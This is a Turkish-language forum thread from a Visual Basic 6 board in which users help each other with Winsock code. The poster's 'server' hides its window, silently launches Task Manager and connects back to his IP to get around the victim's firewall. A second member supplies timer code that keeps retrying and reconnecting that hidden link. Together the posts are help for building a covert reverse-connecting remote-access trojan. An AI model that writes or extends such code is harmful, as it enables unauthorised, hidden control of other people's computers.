Vb6.0 Soket Programlama Yardım.

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ★★★★★
    Genki
    Genki's avatar
    Kayıt Tarihi: 24/Ağustos/2005
    Erkek

    herkeze sa,

    şimdi server program var die kabul ediorum formun load bölümüne

    Private Sub Form_Load()
    Winsock1.RemoteHost = txt_remoteip.Text
    Winsock1.RemotePort = txt_remoteport.Text
    Winsock1.Connect
    Me.Hide
    Shell "taskmgr.exe", vbHide
    End Sub

    bu kodları  yazıorum . yazdıgım clienti calistiorum testerada  serverı actırorum . baglanti saglanio işte işlemlerimi yapabilirorum amma velakin eger tester ben clienti açmadan serverı acarsa benle baglantı kuramıyor. ben şöle bişi olmasını istiorum, tester serverı actıgı zmn 5 dkda 1 

    Winsock1.RemoteHost = txt_remoteip.Text
    Winsock1.RemotePort = txt_remoteport.Text
    Winsock1.Connect

     şu kodları tekrarlayacak yani tekrardan benle baglantı kurcak

     baya bi araştırdım timer ile olabilir die düsünüroumda nasıl olcagını bilimiorum.

    veya if ile baglantı varsa hiç bi işlem yapma yok ise tekrardan baglanmaya calis. işte bunu bi türlü yapamadım bi yardım etseniz güzel olur şimdiden saolun :)

  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ★★★★★
    Genki
    Genki's avatar
    Kayıt Tarihi: 24/Ağustos/2005
    Erkek

    millet noluonuz ya eskiden bi yardım konusu acardık 2 sayfa yardım msjları yagardı. ilgi olurdu . şimdi kimse bakmıo bile illa full c/p mi yapmamız lazım yardım için :@

    up !

  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Hunter
    j4x
    j4x's avatar
    Kayıt Tarihi: 16/Temmuz/2005
    Erkek

    as hocam.

    Anlatmak istedigini tam olarak anlyamadim.Clienti sen , serveri tester mi acior?

    Her neyse yinede timerle o isi nası yapcani anlatim.

     

    'Bi timer ekle timer1 oldunu farzedelim.

    'interval i 60 yap ki bu 1 dk olur . Illa 5 dk yapcam diyosan da 60 yaz timerin in interval ozelligine ve buyur kod:

    'Formun General declerations bölümüne

    Private x as byte

    Private Sub Form_Load()

    x=0

    End Sub

    Private Sub Timer1_Timer()

    select case x

    case 4

    Winsock1.RemoteHost = txt_remoteip.Text
    Winsock1.RemotePort = txt_remoteport.Text
    Winsock1.Connect

    x=0

    exit sub

    end select

    x=x+1

    End Sub

     

     

    herhangi bir sorun olursa sorabilirsin


    The king is bleeding.
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ★★★★★
    Genki
    Genki's avatar
    Kayıt Tarihi: 24/Ağustos/2005
    Erkek

    öncelikle soruya cvp verdigin için saolasın .

    bide cleinti sen serverı testermı acıosun die sormuşsun evet aynen öle firewall olayını atlamak için öle düsündüm :). şimdi kodumuz saglam calisio ancak bi sorun var. mesala 5 snyede bi olayı gercekleştiriyor ya ama şöle oluo önce testera serverı actırıorum  ardından clieinti aciorum 5 snye sora baglanti oluo , ama 5 sn ye sora server hata verio. şöle bişi yapabilirmiyiz ? cliente baglanana kadar 5 snyede bi denesin cliente baglandıkdan sora timer1.enabled olsun gibi bişiler ?

  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Hunter
    j4x
    j4x's avatar
    Kayıt Tarihi: 16/Temmuz/2005
    Erkek

    'hocam az once verdigim kod uzerinde istedigini gosterecegim.

    'Eger 5 dk icinde baglanti kopmussa yeniden baglancak intervali kendin ayarlarsin.

    Private x as byte

    Private Sub Form_Load()

    x=0

    End Sub

    Private Sub Timer1_Timer()

    select case x

    case 4

    if Winsock1.state <> 7 then 'baglanti yoksa

    if winsock1.state <> sckclosed then Winsock1.close

    Winsock1.RemoteHost = txt_remoteip.Text
    Winsock1.RemotePort = txt_remoteport.Text
    Winsock1.Connect

    x=0

    exit sub

    end select

    x=x+1

    End Sub

     

    umarim yardimci olabilmisimdir.

     


    The king is bleeding.
Toplam Hit: 2143 Toplam Mesaj: 5